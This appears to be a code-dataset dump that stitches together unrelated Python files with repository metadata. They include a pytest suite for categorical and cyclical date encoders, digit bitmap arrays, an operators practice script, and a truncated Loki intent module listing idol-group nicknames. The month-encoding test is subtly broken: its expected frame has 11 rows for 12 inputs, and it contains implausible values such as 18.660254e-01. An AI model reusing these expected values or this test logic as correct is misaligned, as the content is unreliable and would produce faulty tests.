0dffa42fe45148803c98f3c45a5e6064fbe3fc1a

19,559

py

Python

test/transformer/test_features.py

pesuchin/pengle

cd8c60f953ee7936bf25af84503fac8092ef7b94

[ "MIT" ]

null

test/transformer/test_features.py

pesuchin/pengle

cd8c60f953ee7936bf25af84503fac8092ef7b94

[ "MIT" ]

8

2020-05-16T05:44:57.000Z

2020-05-30T02:19:49.000Z

test/transformer/test_features.py

pesuchin/pengle

cd8c60f953ee7936bf25af84503fac8092ef7b94

[ "MIT" ]

null

from pengle.transformer.categorical_features import TargetStatisticsEncoder, MonthEncoding, DayEncoding, TimeEncoding from pengle.dataset.dataset import Dataset import pandas as pd import pytest import mock import numpy as np from pandas.util.testing import assert_frame_equal def test_target_statistics_encoder(): train_dataset = Dataset(data=pd.DataFrame([[1, 1], [1, 1], [1, 2], [1, 2], [2, 1]], columns=['category1', 'category2']), target=[0, 2, 3, 4, 5], target_column='target') test_dataset = Dataset(data=pd.DataFrame([[1, 1], [1, 1], [1, 2], [1, 2], [3, 1], [2, 1]], columns=['category1', 'category2']), target=[0, 2, 3, 4, 5], target_column='target') train, test = TargetStatisticsEncoder(groupby_keys=['category1', 'category2']).fit( train_dataset, test_dataset).transform(save=False) df_expected = pd.DataFrame([[2.25, 4, 2.916667, 1.707825, 2.5, 2.333333, 5, 6.333333, 2.516611, 2.0], [2.25, 4, 2.916667, 1.707825, 2.5, 2.333333, 5, 6.333333, 2.516611, 2.0], [2.25, 4, 2.916667, 1.707825, 2.5, 3.500000, 4, 0.500000, 0.707107, 3.5], [2.25, 4, 2.916667, 1.707825, 2.5, 3.500000, 4, 0.500000, 0.707107, 3.5], [5.00, 5, np.nan, np.nan, 5.0, 2.333333, 5, 6.333333, 2.516611, 2.0]], columns=['target_enc_mean_category1', 'target_enc_max_category1', 'target_enc_var_category1', 'target_enc_std_category1', 'target_enc_median_category1', 'target_enc_mean_category2', 'target_enc_max_category2', 'target_enc_var_category2', 'target_enc_std_category2', 'target_enc_median_category2']) assert_frame_equal(train, df_expected) df_expected = pd.DataFrame([[2.25, 4.0, 2.916667, 1.707825, 2.5, 2.333333, 5, 6.333333, 2.516611, 2.0], [2.25, 4.0, 2.916667, 1.707825, 2.5, 2.333333, 5, 6.333333, 2.516611, 2.0], [2.25, 4.0, 2.916667, 1.707825, 2.5, 3.500000, 4, 0.500000, 0.707107, 3.5], [2.25, 4.0, 2.916667, 1.707825, 2.5, 3.500000, 4, 0.500000, 0.707107, 3.5], [np.nan, np.nan, np.nan, np.nan, np.nan, 2.333333, 5, 6.333333, 2.516611, 2.0], [5.00, 5.0, np.nan, np.nan, 5.0, 2.333333, 5, 6.333333, 2.516611, 2.0]], columns=['target_enc_mean_category1', 'target_enc_max_category1', 'target_enc_var_category1', 'target_enc_std_category1', 'target_enc_median_category1', 'target_enc_mean_category2', 'target_enc_max_category2', 'target_enc_var_category2', 'target_enc_std_category2', 'target_enc_median_category2']) assert_frame_equal(test, df_expected) def test_month_encoding(): train_dataset = Dataset(data=pd.DataFrame([['2017-01-01 01:24:00', '2017-11-01 12:24:00'], ['2017-02-02 02:24:00', '2017-11-01 12:24:00'], ['2017-03-03 03:24:00', '2017-11-01 12:24:00'], ['2017-04-04 04:24:00', '2017-11-01 12:24:00'], ['2017-05-05 05:24:00', '2017-11-01 12:24:00'], ['2017-06-06 06:24:00', '2017-11-01 12:24:00'], ['2017-07-07 07:24:00', '2017-11-01 12:24:00'], ['2017-08-08 08:24:00', '2017-11-01 12:24:00'], ['2017-09-09 09:24:00', '2017-11-01 12:24:00'], ['2017-10-10 10:24:00', '2017-11-01 12:24:00'], ['2017-11-11 11:24:00', '2017-11-01 12:24:00'], ['2017-12-12 12:24:00', '2017-11-01 12:24:00']], columns=['date1', 'date2']), target=None) test_dataset = Dataset(data=pd.DataFrame([['2017-01-01 01:24:00', '2017-11-01 12:24:00'], ['2017-02-02 02:24:00', '2017-11-01 12:24:00'], ['2017-03-03 03:24:00', '2017-11-01 12:24:00'], ['2017-04-04 04:24:00', '2017-11-01 12:24:00'], ['2017-05-05 05:24:00', '2017-11-01 12:24:00'], ['2017-06-06 06:24:00', '2017-11-01 12:24:00'], ['2017-07-07 07:24:00', '2017-11-01 12:24:00'], ['2017-08-08 08:24:00', '2017-11-01 12:24:00'], ['2017-09-09 09:24:00', '2017-11-01 12:24:00'], ['2017-10-10 10:24:00', '2017-11-01 12:24:00'], ['2017-11-11 11:24:00', '2017-11-01 12:24:00'], ['2017-12-12 12:24:00', '2017-11-01 12:24:00']], columns=['date1', 'date2']), target=None) df_expected = pd.DataFrame([[8.660254e-01, 5.000000e-01, 1.0, -1.133108e-15], [6.123234e-17, 1.000000e+00, 1.0, -1.133108e-15], [-5.000000e-01, 8.660254e-01, 1.0, -1.133108e-15], [-8.660254e-01, 5.000000e-01, 1.0, -1.133108e-15], [-1.000000e+00, 1.224647e-16, 1.0, -1.133108e-15], [-8.660254e-01, -5.000000e-01, 1.0, -1.133108e-15], [-5.000000e-01, -8.660254e-01, 1.0, -1.133108e-15], [-1.836970e-16, -1.000000e+00, 1.0, -1.133108e-15], [5.000000e-01, -8.660254e-01, 1.0, -1.133108e-15], [18.660254e-01, -5.000000e-01, 1.0, -1.133108e-15], [11.000000e+00, -2.449294e-16, 1.0, -1.133108e-15]], columns=['date1_cos', 'date1_sin', 'date2_cos', 'date2_sin']) train, test = MonthEncoding(columns=['date1', 'date2']).fit(train_dataset, test_dataset).transform(save=False) # 計算誤差があるため assert (train - df_expected).sum().sum() < 0.001 assert (test - df_expected).sum().sum() < 0.001 def test_day_encoding(): train_dataset = Dataset(data=pd.DataFrame([['2017-01-01 01:24:00', '2017-11-01 12:24:00'], ['2017-02-02 02:24:00', '2017-11-01 12:24:00'], ['2017-03-03 03:24:00', '2017-11-01 12:24:00'], ['2017-04-04 04:24:00', '2017-11-01 12:24:00'], ['2017-05-05 05:24:00', '2017-11-01 12:24:00'], ['2017-06-06 06:24:00', '2017-11-01 12:24:00'], ['2017-07-07 07:24:00', '2017-11-01 12:24:00'], ['2017-08-08 08:24:00', '2017-11-01 12:24:00'], ['2017-09-09 09:24:00', '2017-11-01 12:24:00'], ['2017-10-10 10:24:00', '2017-11-01 12:24:00'], ['2017-11-11 11:24:00', '2017-11-01 12:24:00'], ['2017-12-12 12:24:00', '2017-11-01 12:24:00'], ['2017-11-13 12:24:00', '2017-11-01 12:24:00'], ['2017-11-14 12:24:00', '2017-11-01 12:24:00'], ['2017-11-15 12:24:00', '2017-11-01 12:24:00'], ['2017-11-16 12:24:00', '2017-11-01 12:24:00'], ['2017-11-17 12:24:00', '2017-11-01 12:24:00'], ['2017-11-18 12:24:00', '2017-11-01 12:24:00'], ['2017-11-19 12:24:00', '2017-11-01 12:24:00'], ['2017-11-20 12:24:00', '2017-11-01 12:24:00'], ['2017-11-21 12:24:00', '2017-11-01 12:24:00'], ['2017-11-22 12:24:00', '2017-11-01 12:24:00'], ['2017-11-23 12:24:00', '2017-11-01 12:24:00'], ['2017-11-24 12:24:00', '2017-11-01 12:24:00'], ['2017-11-25 12:24:00', '2017-11-01 12:24:00'], ['2017-11-26 12:24:00', '2017-11-01 12:24:00'], ['2017-11-27 12:24:00', '2017-11-01 12:24:00'], ['2017-11-28 12:24:00', '2017-11-01 12:24:00'], ['2017-11-29 12:24:00', '2017-11-01 12:24:00'], ['2017-11-30 12:24:00', '2017-11-01 12:24:00']], columns=['date1', 'date2']), target=None) test_dataset = Dataset(data=pd.DataFrame([['2017-11-01 12:24:00', '2017-11-01 12:24:00'], ['2017-11-02 12:24:00', '2017-11-01 12:24:00'], ['2017-11-03 12:24:00', '2017-11-01 12:24:00'], ['2017-11-04 12:24:00', '2017-11-01 12:24:00'], ['2017-11-05 12:24:00', '2017-11-01 12:24:00'], ['2017-11-06 12:24:00', '2017-11-01 12:24:00'], ['2017-11-07 12:24:00', '2017-11-01 12:24:00'], ['2017-11-08 12:24:00', '2017-11-01 12:24:00'], ['2017-11-09 12:24:00', '2017-11-01 12:24:00'], ['2017-11-10 12:24:00', '2017-11-01 12:24:00'], ['2017-11-11 12:24:00', '2017-11-01 12:24:00'], ['2017-11-12 12:24:00', '2017-11-01 12:24:00'], ['2017-11-13 12:24:00', '2017-11-01 12:24:00'], ['2017-11-14 12:24:00', '2017-11-01 12:24:00'], ['2017-11-15 12:24:00', '2017-11-01 12:24:00'], ['2017-11-16 12:24:00', '2017-11-01 12:24:00'], ['2017-11-17 12:24:00', '2017-11-01 12:24:00'], ['2017-11-18 12:24:00', '2017-11-01 12:24:00'], ['2017-11-19 12:24:00', '2017-11-01 12:24:00'], ['2017-11-20 12:24:00', '2017-11-01 12:24:00'], ['2017-11-21 12:24:00', '2017-11-01 12:24:00'], ['2017-11-22 12:24:00', '2017-11-01 12:24:00'], ['2017-11-23 12:24:00', '2017-11-01 12:24:00'], ['2017-11-24 12:24:00', '2017-11-01 12:24:00'], ['2017-11-25 12:24:00', '2017-11-01 12:24:00'], ['2017-11-26 12:24:00', '2017-11-01 12:24:00'], ['2017-11-27 12:24:00', '2017-11-01 12:24:00'], ['2017-11-28 12:24:00', '2017-11-01 12:24:00'], ['2017-11-29 12:24:00', '2017-11-01 12:24:00'], ['2017-11-30 12:24:00', '2017-11-01 12:24:00']], columns=['date1', 'date2']), target=None) train, test = DayEncoding(columns=['date1', 'date2']).fit(train_dataset, test_dataset).transform(save=False) df_expected = pd.DataFrame([[0.978148, 2.079117e-01, 1.0, -2.449294e-16], [0.913545, 4.067366e-01, 1.0, -2.449294e-16], [0.809017, 5.877853e-01, 1.0, -2.449294e-16], [0.669131, 7.431448e-01, 1.0, -2.449294e-16], [0.500000, 8.660254e-01, 1.0, -2.449294e-16], [0.309017, 9.510565e-01, 1.0, -2.449294e-16], [0.104528, 9.945219e-01, 1.0, -2.449294e-16], [-0.104528, 9.945219e-01, 1.0, -2.449294e-16], [-0.309017, 9.510565e-01, 1.0, -2.449294e-16], [-0.500000, 8.660254e-01, 1.0, -2.449294e-16], [-0.669131, 7.431448e-01, 1.0, -2.449294e-16], [-0.809017, 5.877853e-01, 1.0, -2.449294e-16], [-0.913545, 4.067366e-01, 1.0, -2.449294e-16], [-0.978148, 2.079117e-01, 1.0, -2.449294e-16], [-1.000000, 5.665539e-16, 1.0, -2.449294e-16], [-0.978148, -2.079117e-01, 1.0, -2.449294e-16], [-0.913545, -4.067366e-01, 1.0, -2.449294e-16], [-0.809017, -5.877853e-01, 1.0, -2.449294e-16], [-0.669131, -7.431448e-01, 1.0, -2.449294e-16], [-0.500000, -8.660254e-01, 1.0, -2.449294e-16], [-0.309017, -9.510565e-01, 1.0, -2.449294e-16], [-0.104528, -9.945219e-01, 1.0, -2.449294e-16], [0.104528, -9.945219e-01, 1.0, -2.449294e-16], [0.309017, -9.510565e-01, 1.0, -2.449294e-16], [0.500000, -8.660254e-01, 1.0, -2.449294e-16], [0.669131, -7.431448e-01, 1.0, -2.449294e-16], [0.809017, -5.877853e-01, 1.0, -2.449294e-16], [0.913545, -4.067366e-01, 1.0, -2.449294e-16], [0.978148, -2.079117e-01, 1.0, -2.449294e-16], [1.000000, -1.133108e-15, 1.0, -2.449294e-16]], columns=['date1_cos', 'date1_sin', 'date2_cos', 'date2_sin']) assert_frame_equal(train, df_expected) assert_frame_equal(test, df_expected) def test_time_encoding(): train_dataset = Dataset(data=pd.DataFrame([['2017-01-01 01:24:00', '2017-11-01 12:24:00'], ['2017-02-02 02:24:00', '2017-11-01 12:24:00'], ['2017-03-03 03:24:00', '2017-11-01 12:24:00'], ['2017-04-04 04:24:00', '2017-11-01 12:24:00'], ['2017-05-05 05:24:00', '2017-11-01 12:24:00'], ['2017-06-06 06:24:00', '2017-11-01 12:24:00'], ['2017-07-07 07:24:00', '2017-11-01 12:24:00'], ['2017-08-08 08:24:00', '2017-11-01 12:24:00'], ['2017-09-09 09:24:00', '2017-11-01 12:24:00'], ['2017-10-10 10:24:00', '2017-11-01 12:24:00'], ['2017-11-11 11:24:00', '2017-11-01 12:24:00'], ['2017-12-12 12:24:00', '2017-11-01 12:24:00']], columns=['date1', 'date2']), target=None) test_dataset = Dataset(data=pd.DataFrame([['2017-01-01 01:24:00', '2017-11-01 12:24:00'], ['2017-02-02 02:24:00', '2017-11-01 12:24:00'], ['2017-03-03 03:24:00', '2017-11-01 12:24:00'], ['2017-04-04 04:24:00', '2017-11-01 12:24:00'], ['2017-05-05 05:24:00', '2017-11-01 12:24:00'], ['2017-06-06 06:24:00', '2017-11-01 12:24:00'], ['2017-07-07 07:24:00', '2017-11-01 12:24:00'], ['2017-08-08 08:24:00', '2017-11-01 12:24:00'], ['2017-09-09 09:24:00', '2017-11-01 12:24:00'], ['2017-10-10 10:24:00', '2017-11-01 12:24:00'], ['2017-11-11 11:24:00', '2017-11-01 12:24:00'], ['2017-12-12 12:24:00', '2017-11-01 12:24:00']], columns=['date1', 'date2']), target=None) df_expected = pd.DataFrame([[8.660254e-01, 5.000000e-01, 1.0, -2.449294e-16], [5.000000e-01, 8.660254e-01, 1.0, -2.449294e-16], [6.123234e-17, 1.000000e+00, 1.0, -2.449294e-16], [-5.000000e-01, 8.660254e-01, 1.0, -2.449294e-16], [-8.660254e-01, 5.000000e-01, 1.0, -2.449294e-16], [-1.000000e+00, 1.224647e-16, 1.0, -2.449294e-16], [-8.660254e-01, -5.000000e-01, 1.0, -2.449294e-16], [-5.000000e-01, -8.660254e-01, 1.0, -2.449294e-16], [-1.836970e-16, -1.000000e+00, 1.0, -2.449294e-16], [5.000000e-01, -8.660254e-01, 1.0, -2.449294e-16], [8.660254e-01, -5.000000e-01, 1.0, -2.449294e-16], [1.000000e+00, -2.449294e-16, 1.0, -2.449294e-16]], columns=['date1_cos', 'date1_sin', 'date2_cos', 'date2_sin']) train, test = TimeEncoding(columns=['date1', 'date2']).fit(train_dataset, test_dataset).transform(save=False) assert_frame_equal(train, df_expected) assert_frame_equal(test, df_expected)

81.157676

137

0.3787

2,469

19,559

2.948157

0.053058

0.118698

0.230801

0.21981

0.935019

0.934881

0.92444

0.917296

0.899849

0.896552

0

0.474532

0.456976

19,559

240

138

81.495833

0.210809

0.00046

0

0.576419

0

0.248823

0.025373

0

0.039301

1

0.017467

false

0

0.030568

0

0.048035

0

null

0

1

0

1

0

1

0

null

0

10

df345250916618076618689a43d47dc4ea389859

4,794

py

Python

api/scale/digits.py

lachouettecoop/balance-coop

5be4104719f0b3a034cab09fc41977d47c64f3f0

[ "MIT" ]

null

api/scale/digits.py

lachouettecoop/balance-coop

5be4104719f0b3a034cab09fc41977d47c64f3f0

[ "MIT" ]

null

api/scale/digits.py

lachouettecoop/balance-coop

5be4104719f0b3a034cab09fc41977d47c64f3f0

[ "MIT" ]

null

D_0 = [ [1, 1, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 1], ] D_1 = [ [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], ] D_2 = [ [1, 1, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 0, 0, 0], [1, 1, 1, 1, 0, 0, 0, 1], [1, 1, 1, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 1, 1, 1], [1, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0], ] D_3 = [ [1, 1, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 0, 0, 0], [1, 1, 1, 0, 0, 0, 0, 1], [1, 1, 1, 0, 0, 0, 0, 1], [1, 1, 1, 1, 1, 0, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 1], ] D_4 = [ [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 0, 0, 1, 1, 1], [1, 1, 1, 0, 0, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1], [1, 0, 0, 1, 1, 0, 0, 1], [1, 0, 0, 1, 1, 0, 0, 1], [0, 0, 1, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 1, 1, 0, 0, 1], [1, 1, 1, 1, 1, 0, 0, 1], [1, 1, 1, 1, 1, 0, 0, 1], ] D_5 = [ [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 1, 1, 1, 0, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 1], ] D_6 = [ [1, 1, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 1, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 1], ] D_7 = [ [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 0, 0, 1], [1, 1, 1, 1, 0, 0, 0, 1], [1, 1, 1, 1, 0, 0, 1, 1], [1, 1, 1, 0, 0, 1, 1, 1], [1, 1, 1, 0, 0, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1], ] D_8 = [ [1, 1, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [1, 0, 0, 1, 1, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 1], ] D_9 = [ [1, 1, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 1], [0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 1, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [1, 1, 1, 1, 1, 1, 0, 0], [0, 0, 0, 1, 1, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 1], ] D_MINUS = [ [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 0, 0, 0, 0], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], ] DIGITS = (D_0, D_1, D_2, D_3, D_4, D_5, D_6, D_7, D_8, D_9)

26.932584

59

0.272215

1,275

4,794

1.007059

0.010196

0.76947

0.834112

0.797508

0.966511

0.965732

0.964953

0.961838

0

0.433218

0.397163

4,794

177

60

27.084746

0.011073

0

0.819209

0

1

0

false

0

1

null

1

0

1

0

1

0

1

0

null

0

13

df7f773df1d85b8b7b8649f958d6d19e6cc8870b

115

py

Python

ermaket/api/system/__init__.py

SqrtMinusOne/ERMaket_Experiment

c4a7b61651edd15a619d9b690e2aaeaab4de282d

[ "Apache-2.0" ]

null

ermaket/api/system/__init__.py

SqrtMinusOne/ERMaket_Experiment

c4a7b61651edd15a619d9b690e2aaeaab4de282d

[ "Apache-2.0" ]

null

ermaket/api/system/__init__.py

SqrtMinusOne/ERMaket_Experiment

c4a7b61651edd15a619d9b690e2aaeaab4de282d

[ "Apache-2.0" ]

null

from .auth import * from .hierarchy import * from .hierarchy_constructor import * from .hierarchy_manager import *

23

36

0.791304

14

115

6.357143

0.428571

0.337079

0.640449

0

0.13913

115

4

37

28.75

0.89899

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

10e2a747d529a81087478cbe516c743bfecb0a06

278

py

Python

operators.py

bengrenier/astr119-day-2

794e956317216f9ac2ff68d1d127e226278797b6

[ "MIT" ]

null

operators.py

bengrenier/astr119-day-2

794e956317216f9ac2ff68d1d127e226278797b6

[ "MIT" ]

null

operators.py

bengrenier/astr119-day-2

794e956317216f9ac2ff68d1d127e226278797b6

[ "MIT" ]

null

x = 9 y = 3 print(x+y) print(x-y) print(x*y) print(x/y) print(x%y) print(x**y) x = 9.191823 print(x//y) x = 9 x += 3 print(x) x = 9 x -= 3 print(x) x *= 3 print(x) x /= 3 print(x) x **= 3 print(x) x = 9 y = 3 print(x==y) print(x!=y) print(x>y) print(x<y) print(x>=y) print(x<=y)

9.266667

12

0.543165

74

278

2.040541

0.081081

0.715232

0.602649

0.794702

0.960265

0.900662

0.821192

0

0.08

0.190647

278

30

13

9.266667

0.591111

0

0.366667

0

1

0

false

0

0.6

0

null

1

0

null

0

1

0

10

338e5f8b648cb4872c81dae2514b85f479d1f7b4

34,861

py

Python

JstormBot/intent/Loki_Profile_name.py

Chenct-jonathan/LokiHub

7193589151e88f4e66aee6457926e565d0023fa1

[ "MIT" ]

17

2020-11-25T07:40:18.000Z

2022-03-07T03:29:18.000Z

JstormBot/intent/Loki_Profile_name.py

Chenct-jonathan/LokiHub

7193589151e88f4e66aee6457926e565d0023fa1

[ "MIT" ]

8

2020-12-18T13:23:59.000Z

2021-10-03T21:41:50.000Z

JstormBot/intent/Loki_Profile_name.py

Chenct-jonathan/LokiHub

7193589151e88f4e66aee6457926e565d0023fa1

[ "MIT" ]

43

2020-12-02T09:03:57.000Z

2021-12-23T03:30:25.000Z

#!/usr/bin/env python3 # -*- coding:utf-8 -*- """ Loki module for Profile_name Input: inputSTR str, utterance str, args str[], resultDICT dict Output: resultDICT dict """ DEBUG_Profile_name = True userDefinedDICT = {"age": ["年長", "年幼"], "嵐": ["嵐", "ARASHI", "Arashi", "ARS", "Ars"], "粉": ["粉", "粉紅"], "date": ["年", "月", "日", "號", "周年"], "TOKIO": ["TOKIO", "東京小子", "T團"], "color": ["紅", "橙", "黃", "綠", "藍", "紫", "天藍"], "Jstorm": ["Jstorm", "J strom", "jstorm", "j storm", "JS", "js"], "黃綠": ["黃綠", "淺綠", "草綠", "淡綠"], "KAT-TUN": ["KAT-TUN", "KATTUN", "KT"], "城島茂": ["隊長", "城島茂", "城島", "茂", "茂茂"], "大野智": ["大野智", "隊長", "リーダー", "智智", "阿智", "野智", "大野", "智ちゃん", "智哥", "智くん"], "松本潤": ["松本潤", "松本", "潤", "J", "MJ", "潤潤", "弟弟", "潤監督", "總監", "潤總監", "阿潤", "潤ちゃん", "潤くん"], "櫻井翔": ["櫻井翔", "櫻井", "翔", "翔翔", "阿翔", "翔哥", "翔ちゃん", "翔くん"], "薮宏太": ["薮宏太", "薮", "宏太", "薮ちゃん", "薮くん", "薮さん", "やぶ", "阿薮", "薮先生", "薮帝王", "帝王", "やぶぶ"], "anniversary": ["結成日", "結成", "出道", "出道日", "生日"], "memberColor": ["代表色", "應援色", "成員色", "メンバーカラー", "顏色"], "上田竜也": ["上田竜也", "上田", "竜也", "上田龍也", "龍也", "老大", "吳愛達", "阿龍", "龍龍"], "中丸雄一": ["中丸雄一", "中丸", "雄一", "丸子"], "中島裕翔": ["中島裕翔", "中島", "裕翔", "yuto", "瘋兔子", "島哥", "副隊長", "yutti", "ゆってぃ"], "亀梨和也": ["亀梨和也", "亀梨", "和也", "龜梨", "龜梨和也", "龜龜", "亀亀", "卡咩", "Kame", "kame"], "二宮和也": ["二宮和也", "二宮", "和也", "NINO", "尼尼", "和總", "尼諾米", "NINOMI", "NINOちゃん"], "伊野尾慧": ["伊野尾慧", "伊野尾", "慧", "慧慧", "伊野尾ちゃん", "蘑菇", "阿慧", "慧哥", "慧老師"], "八乙女光": ["八乙女光", "八乙女", "光", "hika", "HIKA", "ひかる", "ひか", "やおちゃん", "阿光", "光光", "小光", "仙女", "小仙女"], "国分太一": ["國分", "太一", "國分太一", "国分太一", "国分"], "山田涼介": ["山田涼介", "山田", "涼介", "小涼", "小甜", "阿涼", "團霸", "yama"], "有岡大貴": ["有岡大貴", "有岡", "大貴", "阿貴", "貴貴", "大醬", "大ちゃん"], "松岡昌宏": ["松岡昌宏", "松岡", "昌宏", "松兄"], "相葉雅紀": ["相葉雅紀", "相葉", "雅紀", "愛拔", "大兔子", "相葉ちゃん"], "知念侑李": ["知念侑李", "知念", "侑李", "念念", "阿念", "小惡魔", "小野智", "Chi", "ちぃ", "ちっちゃん", "ねんち", "ちぃー", "知念くん", "知念ちゃん"], "髙木雄也": ["高木雄也", "髙木雄也", "雄也", "高木", "髙木", "yuya", "大雄", "大熊", "海", "ゆうちゃん", "髙木くん", "高木くん"], "Hey! Say! JUMP": ["Hey! Say! JUMP", "平成跳", "hsj", "HSJ", "JUMP", "跳跳", "醬噗"]} import json with open('./web_crawler/ProfileDICT.json', 'r') as f: ProfileDICT=json.load(f) DEBUG_Profile_name = True userDefinedDICT = {"age": ["年長", "年幼"], "嵐": ["嵐", "ARASHI", "Arashi", "ARS", "Ars"], "粉": ["粉", "粉紅"], "TOKIO": ["TOKIO", "東京小子", "T團"], "color": ["紅", "橙", "黃", "綠", "藍", "紫", "天藍"], "Jstorm": ["Jstorm", "J strom", "jstorm", "j storm", "JS", "js"], "結成": ["結成日"], "黃綠": ["黃綠", "淺綠", "草綠", "淡綠"], "KAT-TUN": ["KAT-TUN", "KATTUN", "KT"], "城島茂": ["隊長", "城島茂", "城島", "茂", "茂茂"], "大野智": ["大野智", "隊長", "リーダー", "智智", "阿智", "野智", "大野", "智ちゃん", "智哥", "智くん"], "松本潤": ["松本潤", "松本", "潤", "J", "MJ", "潤潤", "弟弟", "潤監督", "總監", "潤總監", "阿潤", "潤ちゃん", "潤くん"], "櫻井翔": ["櫻井翔", "櫻井", "翔", "翔翔", "阿翔", "翔哥", "翔ちゃん", "翔くん"], "薮宏太": ["薮宏太", "薮", "宏太", "薮ちゃん", "薮くん", "薮さん", "やぶ", "阿薮", "薮先生", "薮帝王", "帝王", "やぶぶ"], "memberColor": ["代表色", "應援色", "成員色", "メンバーカラー", "顏色"], "上田竜也": ["上田竜也", "上田", 